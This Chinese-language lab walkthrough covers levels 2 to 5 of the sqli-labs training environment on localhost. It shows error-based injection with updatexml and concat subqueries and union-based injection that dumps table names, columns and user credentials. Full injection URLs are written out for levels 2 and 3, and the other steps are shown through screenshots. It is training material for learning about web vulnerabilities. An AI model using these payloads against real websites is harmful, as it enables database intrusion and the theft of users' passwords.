第二关
进入后判断闭合方式
![](https://i-blog.csdnimg.cn/direct/bd54b42331144d0fa1a1353ae14af815.png)
--+闭合成功
![](https://i-blog.csdnimg.cn/direct/fc0446621fb64925bc5be5dedb301e76.png)
使用报错函数,报错函数里面三个参数,写三个1占位置
![](https://i-blog.csdnimg.cn/direct/ab916b57ea954403b26571d42bd80e7c.png)
我们可以操控的是第二个参数的位置所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置
![](https://i-blog.csdnimg.cn/direct/933de6064d2742bd82d99b643a942091.png)
我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行
![](https://i-blog.csdnimg.cn/direct/65006626f60943bd8231303b97d74915.png)
查表名http://127.0.0.1/Less-2/?id=1%20%20and%20updatexml(1,concat(1,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27)),1)--+
![](https://i-blog.csdnimg.cn/direct/a4511b42abdb412bb877d707c18aab1f.png)
返回的结果超过一行,那么我们给table_name 加上group_concat成一个集合
http://127.0.0.1/Less-2/?id=1%20and%20updatexml(1,concat(1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)),1)--+
![](https://i-blog.csdnimg.cn/direct/d428aa248f7442ce91d7a561d72bb1e5.png)
查列名
http://127.0.0.1/Less-2/?id=1%20and%20updatexml(1,concat(1,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)),1)--+
![](https://i-blog.csdnimg.cn/direct/9585e45ff9264d6eba90bd5b828279c3.png)
查具体的username和password
http://127.0.0.1/Less-2/?id=1%20and%20updatexml(1,concat(1,(select%20group_concat(username,password)%20from%20users)),1)--+
![](https://i-blog.csdnimg.cn/direct/b8c4fb4e293f45908c7e6174cb371559.png)
第三关
首先确定闭合方式
![](https://i-blog.csdnimg.cn/direct/e1ad6e44d6524dbabdfd77bdf433ba24.png)
判断字段列数 order by
![](https://i-blog.csdnimg.cn/direct/72c8160bfa2e4beea220c6ac29a70a9c.png)
![](https://i-blog.csdnimg.cn/direct/e50f207bbd8f4bba8c6fa4173ea4162e.png)
![](https://i-blog.csdnimg.cn/direct/62f6a029316f4c55b0ff274e05589b05.png)
![](https://i-blog.csdnimg.cn/direct/17981954cb64464aafa0d1c9fb26e422.png)
只存在三列
那么我们查三列
![](https://i-blog.csdnimg.cn/direct/152ee15d969248519ba842f32284dd32.png)
页面显示的是id=1的数据,没有显示我们联合查询的数据,把人家前面查询的id的数据改成不存在的,比如-1
![](https://i-blog.csdnimg.cn/direct/a4bec2dc4e87453eb1b04acb51232c6a.png)
![](https://i-blog.csdnimg.cn/direct/77aa2599ee654335b4c21c3049375057.png)
![](https://i-blog.csdnimg.cn/direct/9456580ecda543a484b6d328079cc77a.png)
联合查询所有列
![](https://i-blog.csdnimg.cn/direct/b6a6023ec06844a8bbb3d686253e8513.png)
查询所有表中数据
http://127.0.0.1/Less-3/?id=-1%27)%20%20union%20select%201,2,group_concat(id,username,password)%20from%20users%20--+
![](https://i-blog.csdnimg.cn/direct/fd0dd5aec12c48259be0d8fc06fe14f2.png)
第四关
也是同上的联合查询方法
![](https://i-blog.csdnimg.cn/direct/1bdc68fb8bd14eea87730012356b7035.png)
![](https://i-blog.csdnimg.cn/direct/c791c10171a24cc5a547ea88fdac4ffb.png)
![](https://i-blog.csdnimg.cn/direct/5aab00f7b50c47f48915d4c78bd4f488.png)
![](https://i-blog.csdnimg.cn/direct/d94092ac677a476b9d07ae55abcb56f3.png)
![](https://i-blog.csdnimg.cn/direct/5ed2a41ce6014de786e1411d5e5dc22c.png)
![](https://i-blog.csdnimg.cn/direct/53e4bdcf9f9c4a3c82663319c280b8a6.png)
第五关
发现有报我们就使用报错注入
![](https://i-blog.csdnimg.cn/direct/69e348cb3ff44a17ab2c10a75220fa08.png)
获取数据库信息
![](https://i-blog.csdnimg.cn/direct/19131314bc114127821759aaa07cf2df.png)
使用报错函数,报错函数里面三个参数,写三个1占位置
我们可以操控的是第二个参数的位置所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置
![](https://i-blog.csdnimg.cn/direct/4ce974a664ec4c37a3d513c2e1bbd13b.png)
我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行
![](https://i-blog.csdnimg.cn/direct/8932750d72b748ce80b36d6e1f690917.png)
查表名
![](https://i-blog.csdnimg.cn/direct/cfa8ea378a6e4fb3a42d8b1692194e1f.png)
返回的结果超过一行,那么我们给table_name 加上group_concat成一个集合
![](https://i-blog.csdnimg.cn/direct/26e2d25cd9c24f3ebf588cb01799b222.png)
查列名
![](https://i-blog.csdnimg.cn/direct/05fdbbec14014e748c828aa0c73a589a.png)
查具体的username和password
![](https://i-blog.csdnimg.cn/direct/3155a65d5bfb4acb9260cf73cac6d394.png)